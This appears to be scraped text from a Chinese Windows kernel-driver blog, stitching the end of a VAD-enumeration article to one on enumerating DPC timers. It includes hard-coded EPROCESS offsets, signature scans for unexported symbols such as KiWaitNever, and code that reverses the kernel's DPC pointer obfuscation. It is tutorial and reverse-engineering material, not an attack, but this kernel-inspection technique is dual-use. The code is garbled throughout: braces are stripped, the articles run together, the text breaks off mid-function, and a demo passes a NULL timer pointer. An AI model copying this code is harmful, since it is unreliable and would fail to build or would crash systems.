NumberOfSectionReferences; /*0x020*/ UINT64 NumberOfPfnReferences; /*0x028*/ UINT64 NumberOfMappedViews; /*0x030*/ UINT64 NumberOfUserReferences; /*0x038*/ ULONG32 u; // 2 elements, 0x4 bytes (sizeof) /*0x03C*/ ULONG32 u1; // 2 elements, 0x4 bytes (sizeof) /*0x040*/ struct _EX_FAST_REF FilePointer; // 3 elements, 0x8 bytes (sizeof) // 4 elements, 0x8 bytes (sizeof) }CONTROL_AREA, *PCONTROL_AREA; typedef struct _SUBSECTION_ struct _CONTROL_AREA* ControlArea; }SUBSECTION, *PSUBSECTION; typedef struct _MMVAD MMVAD_SHORT Core; union /*0x040*/ UINT32 LongFlags2; //现在用不到省略 MMVAD_FLAGS2 VadFlags2; PSUBSECTION Subsection; /*0x048*/ PVOID FirstPrototypePte; /*0x050*/ PVOID LastContiguousPte; /*0x058*/ LIST_ENTRY ViewLinks; /*0x060*/ PEPROCESS VadsProcess; /*0x070*/ PVOID u4; /*0x078*/ PVOID FileObject; /*0x080*/ }MMVAD, *PMMVAD; typedef struct _RTL_AVL_TREE // 1 elements, 0x8 bytes (sizeof) /*0x000*/ struct _RTL_BALANCED_NODE* Root; }RTL_AVL_TREE, *PRTL_AVL_TREE; typedef struct _VAD_INFO_ ULONG_PTR pVad; ULONG_PTR startVpn; ULONG_PTR endVpn; ULONG_PTR pFileObject; ULONG_PTR flags; }VAD_INFO, *PVAD_INFO; typedef struct _ALL_VADS_ ULONG nCnt; VAD_INFO VadInfos[1]; }ALL_VADS, *PALL_VADS; typedef struct _MMSECTION_FLAGS // 27 elements, 0x4 bytes (sizeof) /*0x000*/ UINT32 BeingDeleted : 1; // 0 BitPosition /*0x000*/ UINT32 BeingCreated : 1; // 1 BitPosition /*0x000*/ UINT32 BeingPurged : 1; // 2 BitPosition /*0x000*/ UINT32 NoModifiedWriting : 1; // 3 BitPosition /*0x000*/ UINT32 FailAllIo : 1; // 4 BitPosition /*0x000*/ UINT32 Image : 1; // 5 BitPosition /*0x000*/ UINT32 Based : 1; // 6 BitPosition /*0x000*/ UINT32 File : 1; // 7 BitPosition /*0x000*/ UINT32 AttemptingDelete : 1; // 8 BitPosition /*0x000*/ UINT32 PrefetchCreated : 1; // 9 BitPosition /*0x000*/ UINT32 PhysicalMemory : 1; // 10 BitPosition /*0x000*/ UINT32 ImageControlAreaOnRemovableMedia : 1; // 11 BitPosition /*0x000*/ UINT32 Reserve : 1; // 12 BitPosition /*0x000*/ UINT32 Commit : 1; // 13 BitPosition /*0x000*/ UINT32 NoChange : 1; // 14 BitPosition /*0x000*/ UINT32 WasPurged : 1; // 15 BitPosition /*0x000*/ UINT32 UserReference : 1; // 16 BitPosition /*0x000*/ UINT32 GlobalMemory : 1; // 17 BitPosition /*0x000*/ UINT32 DeleteOnClose : 1; // 18 BitPosition /*0x000*/ UINT32 FilePointerNull : 1; // 19 BitPosition /*0x000*/ ULONG32 PreferredNode : 6; // 20 BitPosition /*0x000*/ UINT32 GlobalOnlyPerSession : 1; // 26 BitPosition /*0x000*/ UINT32 UserWritable : 1; // 27 BitPosition /*0x000*/ UINT32 SystemVaAllocated : 1; // 28 BitPosition /*0x000*/ UINT32 PreferredFsCompressionBoundary : 1; // 29 BitPosition /*0x000*/ UINT32 UsingFileExtents : 1; // 30 BitPosition /*0x000*/ UINT32 PageSize64K : 1; // 31 BitPosition }MMSECTION_FLAGS, *PMMSECTION_FLAGS; typedef struct _SECTION // 9 elements, 0x40 bytes (sizeof) /*0x000*/ struct _RTL_BALANCED_NODE SectionNode; // 6 elements, 0x18 bytes (sizeof) /*0x018*/ UINT64 StartingVpn; /*0x020*/ UINT64 EndingVpn; /*0x028*/ union { PCONTROL_AREA ControlArea; PVOID FileObject; }u1; // 4 elements, 0x8 bytes (sizeof) /*0x030*/ UINT64 SizeOfSection; /*0x038*/ union { ULONG32 LongFlags; MMSECTION_FLAGS Flags; }u; // 2 elements, 0x4 bytes (sizeof) struct // 3 elements, 0x4 bytes (sizeof) /*0x03C*/ ULONG32 InitialPageProtection : 12; // 0 BitPosition /*0x03C*/ ULONG32 SessionId : 19; // 12 BitPosition /*0x03C*/ ULONG32 NoValidationNeeded : 1; // 31 BitPosition }SECTION, *PSECTION;引入vad.h头文件,并写入如下代码,此处的eprocess_offset_VadRoot以及eprocess_offset_VadCount 则是上方得出的相对于EPROCESS结构的偏移值,每个系统都不一样,版本不同偏移值会不同。#include "vad.h" #include <ntifs.h> // 定义VAD相对于EProcess头部偏移值 #define eprocess_offset_VadRoot 0x658 #define eprocess_offset_VadCount 0x668 VOID EnumVad(PMMVAD Root, PALL_VADS pBuffer, ULONG nCnt) if (!Root || !pBuffer || !nCnt) return; __try if (nCnt > pBuffer->nCnt) // 得到起始页与结束页 ULONG64 endptr = (ULONG64)Root->Core.EndingVpnHigh; endptr = endptr << 32; ULONG64 startptr = (ULONG64)Root->Core.StartingVpnHigh; startptr = startptr << 32; // 得到根节点 pBuffer->VadInfos[pBuffer->nCnt].pVad = (ULONG_PTR)Root; // 起始页: startingVpn * 0x1000 pBuffer->VadInfos[pBuffer->nCnt].startVpn = (startptr | Root->Core.StartingVpn) << PAGE_SHIFT; // 结束页: EndVpn * 0x1000 + 0xfff pBuffer->VadInfos[pBuffer->nCnt].endVpn = ((endptr | Root->Core.EndingVpn) << PAGE_SHIFT) + 0xfff; // VAD标志 928 = Mapped 1049088 = Private .... pBuffer->VadInfos[pBuffer->nCnt].flags = Root->Core.u1.Flags.flag; // 验证节点可读性 if (MmIsAddressValid(Root->Subsection) && MmIsAddressValid(Root->Subsection->ControlArea)) if (MmIsAddressValid((PVOID)((Root->Subsection->ControlArea->FilePointer.Value >> 4) << 4))) pBuffer->VadInfos[pBuffer->nCnt].pFileObject = ((Root->Subsection->ControlArea->FilePointer.Value >> 4) << 4); pBuffer->nCnt++; if (MmIsAddressValid(Root->Core.VadNode.Left)) // 递归枚举左子树 EnumVad((PMMVAD)Root->Core.VadNode.Left, pBuffer, nCnt); if (MmIsAddressValid(Root->Core.VadNode.Right)) // 递归枚举右子树 EnumVad((PMMVAD)Root->Core.VadNode.Right, pBuffer, nCnt); __except (1) BOOLEAN EnumProcessVad(ULONG Pid, PALL_VADS pBuffer, ULONG nCnt) PEPROCESS Peprocess = 0; PRTL_AVL_TREE Table = NULL; PMMVAD Root = NULL; // 通过进程PID得到进程EProcess if (NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)Pid, &Peprocess))) // 与偏移相加得到VAD头节点 Table = (PRTL_AVL_TREE)((UCHAR*)Peprocess + eprocess_offset_VadRoot); if (!MmIsAddressValid(Table) || !eprocess_offset_VadRoot) return FALSE; __try // 取出头节点 Root = (PMMVAD)Table->Root; if (nCnt > pBuffer->nCnt) // 得到起始页与结束页 ULONG64 endptr = (ULONG64)Root->Core.EndingVpnHigh; endptr = endptr << 32; ULONG64 startptr = (ULONG64)Root->Core.StartingVpnHigh; startptr = startptr << 32; pBuffer->VadInfos[pBuffer->nCnt].pVad = (ULONG_PTR)Root; // 起始页: startingVpn * 0x1000 pBuffer->VadInfos[pBuffer->nCnt].startVpn = (startptr | Root->Core.StartingVpn) << PAGE_SHIFT; // 结束页: EndVpn * 0x1000 + 0xfff pBuffer->VadInfos[pBuffer->nCnt].endVpn = (endptr | Root->Core.EndingVpn) << PAGE_SHIFT; pBuffer->VadInfos[pBuffer->nCnt].flags = Root->Core.u1.Flags.flag; if (MmIsAddressValid(Root->Subsection) && MmIsAddressValid(Root->Subsection->ControlArea)) if (MmIsAddressValid((PVOID)((Root->Subsection->ControlArea->FilePointer.Value >> 4) << 4))) pBuffer->VadInfos[pBuffer->nCnt].pFileObject = ((Root->Subsection->ControlArea->FilePointer.Value >> 4) << 4); pBuffer->nCnt++; // 枚举左子树 if (Table->Root->Left) EnumVad((MMVAD*)Table->Root->Left, pBuffer, nCnt); // 枚举右子树 if (Table->Root->Right) EnumVad((MMVAD*)Table->Root->Right, pBuffer, nCnt); __finally ObDereferenceObject(Peprocess); return FALSE; return TRUE; VOID UnDriver(PDRIVER_OBJECT driver) DbgPrint(("Uninstall Driver Is OK \n")); NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath) DbgPrint(("hello lyshark \n")); typedef struct ULONG nPid; ULONG nSize; PALL_VADS pBuffer; }VADProcess; __try VADProcess vad = { 0 }; vad.nPid = 4520; // 默认有1000个线程 vad.nSize = sizeof(VAD_INFO) * 0x5000 + sizeof(ULONG); // 分配临时空间 vad.pBuffer = (PALL_VADS)ExAllocatePool(PagedPool, vad.nSize); // 根据传入长度得到枚举数量 ULONG nCount = (vad.nSize - sizeof(ULONG)) / sizeof(VAD_INFO); // 枚举VAD EnumProcessVad(vad.nPid, vad.pBuffer, nCount); // 输出VAD for (size_t i = 0; i < vad.pBuffer->nCnt; i++) DbgPrint("StartVPN = %p | ", vad.pBuffer->VadInfos[i].startVpn); DbgPrint("EndVPN = %p | ", vad.pBuffer->VadInfos[i].endVpn); DbgPrint("PVAD = %p | ", vad.pBuffer->VadInfos[i].pVad); DbgPrint("Flags = %d | ", vad.pBuffer->VadInfos[i].flags); DbgPrint("pFileObject = %p \n", vad.pBuffer->VadInfos[i].pFileObject); __except (1) Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; }程序运行后输出效果如下:

驱动开发:内核枚举DpcTimer定时器

在笔者上一篇文章《驱动开发:内核枚举IoTimer定时器》中我们通过IoInitializeTimer这个API函数为跳板,向下扫描特征码获取到了IopTimerQueueHead也就是IO定时器的队列头,本章学习的枚举DPC定时器依然使用特征码扫描,唯一不同的是在新版系统中DPC是被异或加密的,想要找到正确的地址,只是需要在找到DPC表头时进行解密操作即可。DPC定时器的作用是什么?在内核中可以使用DPC定时器设置任意定时任务,当到达某个节点时自动触发定时回调,定时器的内部使用KTIMER对象,当设置任务时会自动插入到DPC队列,由操作系统循环读取DPC队列并执行任务,枚举DPC定时器可得知系统中存在的DPC任务。要想在新版系统中得到DPC定时器则需要执行的步骤有哪些?1.找到KiProcessorBlock地址并解析成_KPRCB结构2.在_KPRCB结构中得到_KTIMER_TABLE偏移3.解析_KTIMER_TABLE_ENTRY得到加密后的双向链表首先_KPRCB这个结构体与CPU内核对应,获取方式可通过一个未导出的变量nt!KiProcessorBlock来得到,如下双核电脑,结构体存在两个与之对应的结构地址。lyshark.com 0: kd> dq nt!KiProcessorBlock fffff807`70a32cc0 fffff807`6f77c180 ffffbe81`3cee0180 fffff807`70a32cd0 00000000`00000000 00000000`00000000 fffff807`70a32ce0 00000000`00000000 00000000`00000000此KiProcessorBlock是一个数组,其第一个结构体TimerTable则是结构体的偏移。lyshark.com 0: kd> dt _KPRCB fffff807`6f77c180 ntdll!_KPRCB +0x000 MxCsr : 0x1f80 +0x3680 TimerTable : _KTIMER_TABLE (此处) +0x5880 DpcGate : _KGATE接下来是把所有的KTIMER都枚举出来,KTIMER在TimerTable中的存储方式是数组+双向链表。lyshark.com 0: kd> dt _KTIMER_TABLE ntdll!_KTIMER_TABLE +0x000 TimerExpiry : [64] Ptr64 _KTIMER +0x200 TimerEntries : [256] _KTIMER_TABLE_ENTRY (此处)到了_KTIMER_TABLE_ENTRY这里,Entry开始的双向链表,每一个元素都对应一个Timer也就是说我们已经可以遍历所有未解密的Time变量了。lyshark.com 0: kd> dt _KTIMER_TABLE_ENTRY 0xfffff807`6f77c180 + 0x3680 ntdll!_KTIMER_TABLE_ENTRY +0x000 Lock : 0 +0x008 Entry : _LIST_ENTRY [ 0x00000000`00000000 - 0x00000000`00000000 ] +0x018 Time : _ULARGE_INTEGER 0x0 lyshark.com 0: kd> dt _KTIMER_TABLE_ENTRY 0xfffff807`6f77c180 + 0x3680 + 0x200 ntdll!_KTIMER_TABLE_ENTRY +0x000 Lock : 0 +0x008 Entry : _LIST_ENTRY [ 0xffffa707`a0d3e1a0 - 0xffffa707`a0d3e1a0 ] +0x018 Time : _ULARGE_INTEGER 0x00000001`a8030353至于如何解密,我们需要得到加密位置,如下通过KeSetTimer找到KeSetTimerEx从中得到DCP加密流程。lyshark.com 0: kd> u nt!KeSetTimer nt!KeSetTimer: fffff803`0fc63a40 4883ec38 sub rsp,38h fffff803`0fc63a44 4c89442420 mov qword ptr [rsp+20h],r8 fffff803`0fc63a49 4533c9 xor r9d,r9d fffff803`0fc63a4c 4533c0 xor r8d,r8d fffff803`0fc63a4f e80c000000 call nt!KiSetTimerEx (fffff803`0fc63a60) fffff803`0fc63a54 4883c438 add rsp,38h fffff803`0fc63a58 c3 ret fffff803`0fc63a59 cc int 3 0: kd> u nt!KiSetTimerEx l50 nt!KiSetTimerEx: fffff803`0fc63a60 48895c2408 mov qword ptr [rsp+8],rbx fffff803`0fc63a65 48896c2410 mov qword ptr [rsp+10h],rbp fffff803`0fc63a6a 4889742418 mov qword ptr [rsp+18h],rsi fffff803`0fc63a6f 57 push rdi fffff803`0fc63a70 4154 push r12 fffff803`0fc63a72 4155 push r13 fffff803`0fc63a74 4156 push r14 fffff803`0fc63a76 4157 push r15 fffff803`0fc63a78 4883ec50 sub rsp,50h fffff803`0fc63a7c 488b057d0c5100 mov rax,qword ptr [nt!KiWaitNever (fffff803`10174700)] fffff803`0fc63a83 488bf9 mov rdi,rcx fffff803`0fc63a86 488b35630e5100 mov rsi,qword ptr [nt!KiWaitAlways (fffff803`101748f0)] fffff803`0fc63a8d 410fb6e9 movzx ebp,r9b fffff803`0fc63a91 4c8bac24a0000000 mov r13,qword ptr [rsp+0A0h] fffff803`0fc63a99 458bf8 mov r15d,r8d fffff803`0fc63a9c 4933f5 xor rsi,r13 fffff803`0fc63a9f 488bda mov rbx,rdx fffff803`0fc63aa2 480fce bswap rsi fffff803`0fc63aa5 4833f1 xor rsi,rcx fffff803`0fc63aa8 8bc8 mov ecx,eax fffff803`0fc63aaa 48d3ce ror rsi,cl fffff803`0fc63aad 4833f0 xor rsi,rax fffff803`0fc63ab0 440f20c1 mov rcx,cr8 fffff803`0fc63ab4 48898c24a0000000 mov qword ptr [rsp+0A0h],rcx fffff803`0fc63abc b802000000 mov eax,2 fffff803`0fc63ac1 440f22c0 mov cr8,rax fffff803`0fc63ac5 8b05dd0a5100 mov eax,dword ptr [nt!KiIrqlFlags (fffff803`101745a8)] fffff803`0fc63acb 85c0 test eax,eax fffff803`0fc63acd 0f85b72d1a00 jne nt!KiSetTimerEx+0x1a2e2a (fffff803`0fe0688a) fffff803`0fc63ad3 654c8b342520000000 mov r14,qword ptr gs:[20h] fffff803`0fc63adc 33d2 xor edx,edx fffff803`0fc63ade 488bcf mov rcx,rdi fffff803`0fc63ae1 e86aa2fdff call nt!KiCancelTimer (fffff803`0fc3dd50) fffff803`0fc63ae6 440fb6e0 movzx r12d,al fffff803`0fc63aea 48897730 mov qword ptr [rdi+30h],rsi fffff803`0fc63aee 33c0 xor eax,eax fffff803`0fc63af0 44897f3c mov dword ptr [rdi+3Ch],r15d fffff803`0fc63af4 8b0f mov ecx,dword ptr [rdi] fffff803`0fc63af6 4889442430 mov qword ptr [rsp+30h],rax fffff803`0fc63afb 894c2430 mov dword ptr [rsp+30h],ecx fffff803`0fc63aff 488bcb mov rcx,rbx fffff803`0fc63b02 48c1e920 shr rcx,20h fffff803`0fc63b06 4889442438 mov qword ptr [rsp+38h],rax fffff803`0fc63b0b 4889442440 mov qword ptr [rsp+40h],rax fffff803`0fc63b10 40886c2431 mov byte ptr [rsp+31h],bpl fffff803`0fc63b15 85c9 test ecx,ecx fffff803`0fc63b17 0f89c0000000 jns nt!KiSetTimerEx+0x17d (fffff803`0fc63bdd) fffff803`0fc63b1d 33c9 xor ecx,ecx fffff803`0fc63b1f 8bd1 mov edx,ecx fffff803`0fc63b21 40f6c5fc test bpl,0FCh fffff803`0fc63b25 0f85a3000000 jne nt!KiSetTimerEx+0x16e (fffff803`0fc63bce) fffff803`0fc63b2b 48894c2420 mov qword ptr [rsp+20h],rcx fffff803`0fc63b30 48b80800000080f7ffff mov rax,0FFFFF78000000008h fffff803`0fc63b3a 4d8bc5 mov r8,r13 fffff803`0fc63b3d 488b00 mov rax,qword ptr [rax] fffff803`0fc63b40 804c243340 or byte ptr [rsp+33h],40h fffff803`0fc63b45 482bc3 sub rax,rbx fffff803`0fc63b48 48894718 mov qword ptr [rdi+18h],rax fffff803`0fc63b4c 4803c2 add rax,rdx fffff803`0fc63b4f 48c1e812 shr rax,12h fffff803`0fc63b53 488bd7 mov rdx,rdi fffff803`0fc63b56 440fb6c8 movzx r9d,al fffff803`0fc63b5a 44884c2432 mov byte ptr [rsp+32h],r9b fffff803`0fc63b5f 8b442430 mov eax,dword ptr [rsp+30h] fffff803`0fc63b63 8907 mov dword ptr [rdi],eax fffff803`0fc63b65 894f04 mov dword ptr [rdi+4],ecx fffff803`0fc63b68 498bce mov rcx,r14 fffff803`0fc63b6b e8209ffdff call nt!KiInsertTimerTable (fffff803`0fc3da90) fffff803`0fc63b70 84c0 test al,al fffff803`0fc63b72 0f8495000000 je nt!KiSetTimerEx+0x1ad (fffff803`0fc63c0d) fffff803`0fc63b78 f7058608510000000200 test dword ptr [nt!PerfGlobalGroupMask+0x8 (fffff803`10174408)],20000h fffff803`0fc63b82 0f852f2d1a00 jne nt!KiSetTimerEx+0x1a2e57 (fffff803`0fe068b7) fffff803`0fc63b88 f081277fffffff lock and dword ptr [rdi],0FFFFFF7Fh fffff803`0fc63b8f 488b8424a0000000 mov rax,qword ptr [rsp+0A0h] fffff803`0fc63b97 4533c9 xor r9d,r9d fffff803`0fc63b9a 33d2 xor edx,edx fffff803`0fc63b9c 88442420 mov byte ptr [rsp+20h],al fffff803`0fc63ba0 498bce mov rcx,r14 fffff803`0fc63ba3 458d4101 lea r8d,[r9+1] fffff803`0fc63ba7 e8044efeff call nt!KiExitDispatcher (fffff803`0fc489b0)如上汇编代码KiSetTimerEx中就是DPC加密细节,如果需要解密只需要逆操作即可,此处我就具体分析下加密细节,分析这个东西我建议你使用记事本带着色的。分析思路是这样的,首先这里要传入待加密的DPC数据,然后经过KiWaitNever和KiWaitAlways对数据进行xor,ror,bswap等操作。将解密流程通过代码的方式实现。#include <ntddk.h> #include <ntstrsafe.h> // 解密DPC void DPC_Print(PKTIMER ptrTimer) ULONG_PTR ptrDpc = (ULONG_PTR)ptrTimer->Dpc; KDPC* DecDpc = NULL; DWORD nShift = (p2dq(ptrKiWaitNever) & 0xFF); // _RSI->Dpc = (_KDPC *)v19; // _RSI = Timer; ptrDpc ^= p2dq(ptrKiWaitNever); // v19 = KiWaitNever ^ v18; ptrDpc = _rotl64(ptrDpc, nShift); // v18 = __ROR8__((unsigned __int64)Timer ^ _RBX, KiWaitNever); ptrDpc ^= (ULONG_PTR)ptrTimer; ptrDpc = _byteswap_uint64(ptrDpc); // __asm { bswap rbx } ptrDpc ^= p2dq(ptrKiWaitAlways); // _RBX = (unsigned __int64)DPC ^ KiWaitAlways; // real DPC if (MmIsAddressValid((PVOID)ptrDpc)) DecDpc = (KDPC*)ptrDpc; DbgPrint("DPC = %p | routine = %p \n", DecDpc, DecDpc->DeferredRoutine); VOID UnDriver(PDRIVER_OBJECT driver) DbgPrint("卸载完成... \n"); NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath) DbgPrint("hello lyshark.com"); PKTIMER ptrTimer = NULL; DPC_Print(ptrTimer); Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; }接着将这些功能通过代码实现,首先得到我们需要的函数地址,这些地址包括。ULONG_PTR ptrKiProcessorBlock = 0xfffff80770a32cc0; ULONG_PTR ptrOffsetKTimerTable = 0x3680; ULONG_PTR ptrKiWaitNever = 0xfffff80770a316f8; ULONG_PTR ptrKiWaitAlways = 0xfffff80770a318e8;此处我把它分为三步走,第一步找到KiProcessorBlock函数地址,第二步找到KeSetTimer并从里面寻找KeSetTimerEx,第三步根据KiSetTimerEx地址,搜索到KiWaitNever(),KiWaitAlways()这两个函数内存地址,最终循环链表并解密DPC队列。第一步: 找到KiProcessorBlock函数地址,该地址可通过__readmsr()寄存器相加偏移得到。在WinDBG中可以输入rdmsr c0000082得到MSR地址。MSR寄存器使用代码获取也是很容易,只要找到MSR地址在加上0x20即可得到KiProcessorBlock的地址了。/* lyshark.com 0: kd> dp !KiProcessorBlock fffff807`70a32cc0 fffff807`6f77c180 ffffbe81`3cee0180 fffff807`70a32cd0 00000000`00000000 00000000`00000000 fffff807`70a32ce0 00000000`00000000 00000000`00000000 fffff807`70a32cf0 00000000`00000000 00000000`00000000 fffff807`70a32d00 00000000`00000000 00000000`00000000 fffff807`70a32d10 00000000`00000000 00000000`00000000 fffff807`70a32d20 00000000`00000000 00000000`00000000 fffff807`70a32d30 00000000`00000000 00000000`00000000 #include <ntddk.h> #include <ntstrsafe.h> // 得到KiProcessorBlock地址 ULONG64 GetKiProcessorBlock() ULONG64 PrcbAddress = 0; PrcbAddress = (ULONG64)__readmsr(0xC0000101) + 0x20; if (PrcbAddress != 0) // PrcbAddress 是一个地址 这个地址存放了某个 CPU 的 _KPRCB 的地址 return *(ULONG_PTR*)PrcbAddress; return 0; VOID UnDriver(PDRIVER_OBJECT driver) DbgPrint("卸载完成... \n"); NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath) DbgPrint("hello lyshark.com \n"); ULONG64 address = GetKiProcessorBlock(); if (address != 0) DbgPrint("KiProcessorBlock = %p \n", address); Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; }运行后即可得到输出效果如下:第二步: 找到KeSetTimer从里面搜索特征得到call KeSetTimerEx函数地址,还记得《驱动开发:内核枚举IoTimer定时器》中我们采用的特征码定位方式吗,没错本次还要使用这个方法,我们此处需要搜索到e80c000000这段特征。/* lyshark.com 0: kd> uf KeSetTimer nt!KeSetTimer: fffff807`70520a30 4883ec38 sub rsp,38h fffff807`70520a34 4c89442420 mov qword ptr [rsp+20h],r8 fffff807`70520a39 4533c9 xor r9d,r9d fffff807`70520a3c 4533c0 xor r8d,r8d fffff807`70520a3f e80c000000 call nt!KiSetTimerEx (fffff807`70520a50) fffff807`70520a44 4883c438 add rsp,38h fffff807`70520a48 c3 ret #include <ntddk.h> #include <ntstrsafe.h> // 得到KiProcessorBlock地址 ULONG64 GetKeSetTimerEx() // 获取 KeSetTimer 地址 ULONG64 ul_KeSetTimer = 0; UNICODE_STRING uc_KeSetTimer = { 0 }; RtlInitUnicodeString(&uc_KeSetTimer, L"KeSetTimer"); ul_KeSetTimer = (ULONG64)MmGetSystemRoutineAddress(&uc_KeSetTimer); if (ul_KeSetTimer == 0) return 0; // 前 30 字节找 call 指令 BOOLEAN b_e8 = FALSE; ULONG64 ul_e8Addr = 0; for (INT i = 0; i < 30; i++) // 验证地址是否可读写 if (!MmIsAddressValid((PVOID64)ul_KeSetTimer)) continue; // e8 0c 00 00 00 call nt!KiSetTimerEx (fffff807`70520a50) if (*(PUCHAR)(ul_KeSetTimer + i) == 0xe8) b_e8 = TRUE; ul_e8Addr = ul_KeSetTimer + i; break; // 找到 call 则解析目的地址 if (b_e8 == TRUE) if (!MmIsAddressValid((PVOID64)ul_e8Addr)) return 0; INT ul_callCode = *(INT*)(ul_e8Addr + 1); ULONG64 ul_KiSetTimerEx = ul_e8Addr + ul_callCode + 5; return ul_KiSetTimerEx; return 0; VOID UnDriver(PDRIVER_OBJECT driver) DbgPrint("卸载完成... \n"); NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath) DbgPrint("hello lyshark.com \n"); ULONG64 address = GetKeSetTimerEx(); if (address != 0) DbgPrint("KeSetTimerEx = %p \n", address); Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; }输出寻找CALL地址效果图如下:第三步: 也是最重要的一步,在KiSetTimerEx里面,搜索特征,拿到里面的KiWaitNever(),KiWaitAlways()这两个函数地址。488b05850c5100 KiWaitNever488b356b0e5100 KiWaitAlways这个过程需要重复搜索,所以要把第一步和第二部过程归纳起来,具体代码如下所示。/* 0: kd> uf KiSetTimerEx nt!KiSetTimerEx: fffff807`70520a50 48895c2408 mov qword ptr [rsp+8],rbx fffff807`70520a55 48896c2410 mov qword ptr [rsp+10h],rbp fffff807`70520a5a 4889742418 mov qword ptr [rsp+18h],rsi fffff807`70520a5f 57 push rdi fffff807`70520a60 4154 push r12 fffff807`70520a62 4155 push r13 fffff807`70520a64 4156 push r14 fffff807`70520a66 4157 push r15 fffff807`70520a68 4883ec50 sub rsp,50h fffff807`70520a6c 488b05850c5100 mov rax,qword ptr [nt!KiWaitNever (fffff807`70a316f8)] fffff807`70520a73 488bf9 mov rdi,rcx fffff807`70520a76 488b356b0e5100 mov rsi,qword ptr [nt!KiWaitAlways (fffff807`70a318e8)] fffff807`70520a7d 410fb6e9 movzx ebp,r9b #include <ntddk.h> #include <ntstrsafe.h> // 得到KiProcessorBlock地址 ULONG64 GetKeSetTimerEx() // 获取 KeSetTimer 地址 ULONG64 ul_KeSetTimer = 0; UNICODE_STRING uc_KeSetTimer = { 0 }; RtlInitUnicodeString(&uc_KeSetTimer, L"KeSetTimer"); ul_KeSetTimer = (ULONG64)MmGetSystemRoutineAddress(&uc_KeSetTimer); if (ul_KeSetTimer == 0) return 0; // 前 30 字节找 call 指令 BOOLEAN b_e8 = FALSE; ULONG64 ul_e8Addr = 0; for (INT i = 0; i < 30; i++) // 验证地址是否可读写 if (!MmIsAddressValid((PVOID64)ul_KeSetTimer)) continue; // e8 0c 00 00 00 call nt!KiSetTimerEx (fffff807`70520a50) if (*(PUCHAR)(ul_KeSetTimer + i) == 0xe8) b_e8 = TRUE; ul_e8Addr = ul_KeSetTimer + i; break; // 找到 call 则解析目的地址 if (b_e8 == TRUE) if (!MmIsAddressValid((PVOID64)ul_e8Addr)) return 0; INT ul_callCode = *(INT*)(ul_e8Addr + 1); ULONG64 ul_KiSetTimerEx = ul_e8Addr + ul_callCode + 5; return ul_KiSetTimerEx; return 0; // 得到KiWaitNever地址 ULONG64 GetKiWaitNever(ULONG64 address) // 验证地址是否可读写 if (!MmIsAddressValid((PVOID64)address)) return 0; // 前 100 字节找 找 KiWaitNever for (INT i = 0; i < 100; i++) // 48 8b 05 85 0c 51 00 | mov rax, qword ptr[nt!KiWaitNever(fffff807`70a316f8)] if (*(PUCHAR)(address + i) == 0x48 && *(PUCHAR)(address + i + 1) == 0x8b && *(PUCHAR)(address + i + 2) == 0x05) ULONG64 ul_movCode = *(UINT32*)(address + i + 3); ULONG64 ul_movAddr = address + i + ul_movCode + 7; // DbgPrint("找到KiWaitNever地址: %p \n", ul_movAddr); return ul_movAddr; return 0; // 得到KiWaitAlways地址 ULONG64 GetKiWaitAlways(ULONG64 address) // 验证地址是否可读写 if (!MmIsAddressValid((PVOID64)address)) return 0; // 前 100 字节找 找 KiWaitNever for (INT i = 0; i < 100; i++) // 48 8b 35 6b 0e 51 00 | mov rsi,qword ptr [nt!KiWaitAlways (fffff807`70a318e8)] if (*(PUCHAR)(address + i) == 0x48 && *(PUCHAR)(address + i + 1) == 0x8b && *(PUCHAR)(address + i + 2) == 0x35) ULONG64 ul_movCode = *(UINT32*)(address + i + 3); ULONG64 ul_movAddr = address + i + ul_movCode + 7; return ul_movAddr; return 0; VOID UnDriver(PDRIVER_OBJECT driver) DbgPrint("卸载完成... \n"); NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath) DbgPrint("hello lyshark.com \n"); ULONG64 address = GetKeSetTimerEx(); if (address != 0) ULONG64 KiWaitNeverAddress = GetKiWaitNever(address); DbgPrint("KiWaitNeverAddress = %p \n", KiWaitNeverAddress); ULONG64 KiWaitAlwaysAddress = GetKiWaitAlways(address); DbgPrint("KiWaitAlwaysAddress = %p \n", KiWaitAlwaysAddress); Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; }运行这个程序,我们看下寻找到的地址是否与WinDBG中找到的地址一致。功能实现部分: 最后将这些功能整合在一起,循环输出链表元素,并解密元素即可实现枚举当前系统DPC定时器。代码核心API分析:KeNumberProcessors 得到CPU数量(内核常量)KeSetSystemAffinityThread 线程绑定到特定CPU上GetKiProcessorBlock 获得KPRCB的地址KeRevertToUserAffinityThread 取消绑定CPU解密部分提取出KiWaitNever和KiWaitAlways用于解密计算,转换PKDPC对象结构,并输出即可。// 署名 // PowerBy: LyShark // Email: me@lyshark.com #include <Fltkernel.h> #include <ntddk.h> #include <intrin.h> #define IRP_TEST CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS) UNICODE_STRING name_device; // 设备名 UNICODE_STRING name_symbol; // 符号链接 PDEVICE_OBJECT deviceObj; // 设备对象 typedef struct _KTIMER_TABLE_ENTRY ULONG_PTR Lock; LIST_ENTRY Entry; ULONG_PTR Time; }KTIMER_TABLE_ENTRY, *PKTIMER_TABLE_ENTRY; typedef struct _KTIMER_TABLE ULONG_PTR TimerExpiry[64]; KTIMER_TABLE_ENTRY TimerEntries[256]; }KTIMER_TABLE, *PKTIMER_TABLE; BOOLEAN get_KiWait(PULONG64 never, PULONG64 always) // 获取 KeSetTimer 地址 ULONG64 ul_KeSetTimer = 0; UNICODE_STRING uc_KeSetTimer = { 0 }; RtlInitUnicodeString(&uc_KeSetTimer, L"KeSetTimer"); ul_KeSetTimer = (ULONG64)MmGetSystemRoutineAddress(&uc_KeSetTimer); if (ul_KeSetTimer == NULL) return FALSE; // 前 30 字节找 call 指令 BOOLEAN b_e8 = FALSE; ULONG64 ul_e8Addr = 0; for (INT i = 0; i < 30; i++) if (!MmIsAddressValid((PVOID64)ul_KeSetTimer)) continue; 0: kd> u nt!KeSetTimer 